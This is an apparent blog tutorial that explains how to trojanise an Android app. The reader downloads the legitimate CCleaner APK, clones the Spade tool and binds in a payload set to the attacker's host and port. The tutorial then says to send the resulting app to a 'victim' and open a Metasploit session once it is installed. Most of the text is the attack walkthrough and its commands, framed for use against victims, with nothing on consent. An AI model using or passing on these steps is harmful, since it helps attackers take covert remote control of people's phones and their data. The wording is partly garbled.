Kali Linux, Penetration Testing

Hack any Android Phone using Spade APK Backdoor

In this article we will learn yet another method hack android authentically. This is the most uncontrived way of hacking an android user as you are binding your maligant file with the original one just like we did with apk.

Firstly, we will download ccleaner from www.apk4fun.com as we will bind our payload file with it.

Our next step will be downloading the software is Spade. To download it go to the terminal in your Kali and type:

 git clone https://github.com/suraj-root/spade.git

The enactment of the above command with installs the software successfully. Next, type:

./spade.py /root/Desktop/ccleaner.apk

When you run the above command it will ask you the information about payload, lhost, lport. For payload select option 3 that means type 3. And the give lhost and lport :

Lhost >


Previous rendition of the commands helps us bind an original file with our personalized malign file.

After it has all been done successfully, it will ask us to set the listener. Type’y’ here now a new apk will save in spade folder

Now, you can go ahead and send the victim the link so that he can download it.

As the victim will click on install, the application will start downloading along with our malicious file.

And when the application will be opened you will have victim session.

As you remember you typed ‘y’ before to create listener and the listener is created automatically on the all the details you had given previously. And then to simple have the session type:

sessions –i 1